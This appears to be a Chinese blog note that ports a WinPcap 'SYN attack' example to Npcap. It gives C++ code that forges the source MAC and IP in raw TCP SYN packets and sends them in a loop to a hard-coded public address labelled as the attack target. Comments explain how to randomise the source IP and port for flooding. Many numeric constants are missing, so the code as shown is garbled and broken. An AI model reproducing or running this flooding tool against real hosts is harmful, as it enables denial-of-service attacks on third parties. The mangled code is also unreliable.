Npcap.例子（raw tcp syn）

1、来自：winpcap实现syn攻击 - 125096 - CSDN博客.html（https://blog.csdn.net/qq125096885/article/details/51784524）

2、我的代码：（代码 用Npcap来跑，基本不用修改）（Win7x64、vs2017、使用 x86编译的Debug版本）

// Npcap_01.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>

#pragma warning(disable : 4996)

//int main()
//{
//    std::cout << "Hello World!\n";
//}

//#define _W64
//#define HAVE_REMOTE
#include<stdio.h>
#include<pcap.h>
#include<winsock2.h>
#include <time.h>
//#include "remote-ext.h"  

#pragma comment(lib,"wpcap.lib")
#pragma comment(lib,"WS2_32.lib")  

#pragma pack(push,1)
typedef struct _TCP_SYN
{
    unsigned char DstMAC[];  // 目的mac地址
    unsigned char SrcMAC[];  // 源mac地址
    unsigned char OtherData[];
    unsigned short Header_ChechSum; // 校验和
    unsigned int SrcIP;       // Source IP address
    unsigned int DstIP;       // Destination IP address
    unsigned short SrcPort;   // Source IP Port
    unsigned short DstPort;   // Destination IP Port,一般为80端口，值为0x5000
    unsigned char Ohters[];
    unsigned short pak_checksum;
    unsigned char OtherLast[];
}TCP_SYN, *PTCP_SYN;
#pragma pack(pop)  

unsigned char bufData[] = "\x00\x25\x86\x27\xd1\x22\x90\x2b\x34\x60\xbd\x44\x08\x00\x45\x00"
"\x00\x34\x61\xdc\x40\x00\x80\x06\x71\x83\xc0\xa8\x01\x6a\x7a\xe4"
"\xea\x6d\x0b\x0c\x00\x50\xb9\xc2\xf5\x06\x00\x00\x00\x00\x80\x02"
"\xff\xff\x8d\x8d\x00\x00\x02\x04\x05\xb4\x01\x03\x03\x01\x01\x01"
"\x04\x02";

// clac the header's check sum
unsigned short checksum(unsigned short *buffer, int size)
{
    unsigned long cksum = ;
    while (size > )
    {
        cksum += *buffer++;
        size -= sizeof(unsigned short);
    }
    if (size)
    {
        cksum += *(unsigned char*)buffer;
    }
    cksum = (cksum >> ) + (cksum & 0xffff);
    cksum += (cksum >> );
    return  (unsigned short)(~cksum);
}

int main(int argc, char* argv[])
{
    pcap_if_t *alldevs;
    pcap_if_t *seldev;
    pcap_t *fp;
    char errbuf[PCAP_ERRBUF_SIZE];
    srand(time());

    /* 获取本机设备列表 */
    if (pcap_findalldevs(&alldevs, errbuf) == -)
    {
        fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
        exit();
    }

    // 找到一个有ip的就当有连网的网卡了
    for (seldev = alldevs; seldev != NULL; seldev = seldev->next)
    {
        pcap_addr* pcapaddr = NULL;
        for (pcapaddr = seldev->addresses; pcapaddr != NULL; pcapaddr = pcapaddr->next)
        {
            //if (pcapaddr->addr->sa_data[2] != '\0' && pcapaddr->addr->sa_data[3] != '\0')
            //{
            //    break;
            //}

            printf("seldev->name : %s\n", seldev->name);
            for (int i = ; i < ; i++)
                printf("%d ", (UCHAR)pcapaddr->addr->sa_data[i]);
            printf("\n");

            //printf("%d, %d\n", pcapaddr->addr->sa_data[2], pcapaddr->addr->sa_data[3]);
            if ((UCHAR)pcapaddr->addr->sa_data[] ==  && (UCHAR)pcapaddr->addr->sa_data[] == )
            {
                printf("will break;\n");
                break;
            }
        }
        if (pcapaddr != NULL)
            break;

        printf("\n");
    }
    if (seldev == NULL)
    {
        fprintf(stderr, "Can not find network!\n");
        exit();
    }

    printf("seldev->name : %d\n", seldev->name);
    for (int i = ; i < ; i++)
        printf("%d ", (UCHAR)seldev->addresses->addr->sa_data[i]);
    printf("\n");

    /* 打开这个输出设备 */
    if ((fp = pcap_open(seldev->name,            // 设备名
        ,                // 要捕获的部分 (只捕获前100个字节)
        PCAP_OPENFLAG_PROMISCUOUS,  // 混杂模式
        ,               // 读超时时间
        NULL,               // 远程机器验证
        errbuf              // 错误缓冲
    )) == NULL)
    {
        fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", alldevs->name);
        return -;
    }

    // 修改源MAC、IP地址 , 并修改首部校验和
    PTCP_SYN SynData = (PTCP_SYN)bufData;
    while ()
    {
        //memcpy(SynData->SrcMAC, "\x01\x01\x01\x01\x01\x01", 6); // 源MAC地址 01:01:01:01:01:01
        memcpy(SynData->SrcMAC, "\x04\xd4\xc4\x59\x7a\x1c", );// 04-D4-C4-59-7A-1C
        memcpy(SynData->DstMAC, "\x04\xf9\x38\xa6\xd7\xcb", );//  04-f9-38-a6-d7-cb

        SynData->DstIP = inet_addr("39.156.69.79"); // 攻击的目标
        SynData->DstPort = htons();  // 目标端口80
        SynData->SrcIP = inet_addr("172.16.19.181");// (unsigned int)rand(); // 源IP地址随机产生
        SynData->SrcPort = htons();// (unsigned short)rand() % 100 + 1024; // 源端口随机产生  

        SynData->Header_ChechSum = ;
        SynData->Header_ChechSum = checksum((unsigned short*)&bufData[], ); // 计算checksum
//      printf("%d\n", SynData->Header_ChechSum);  

        /* 发送数据包 */
        // (wireshark 黑底红字为 校验和错误 的包).
        if (pcap_sendpacket(fp, bufData, sizeof(bufData) - ) != )
        {
            fprintf(stderr, "\nError sending the packet: \n", pcap_geterr(fp));
            return -;
        }

        system("pause");
        //break;
    }

    /* 释放设备列表 */
    pcap_freealldevs(alldevs);
    return ;
}

3、

4、

5、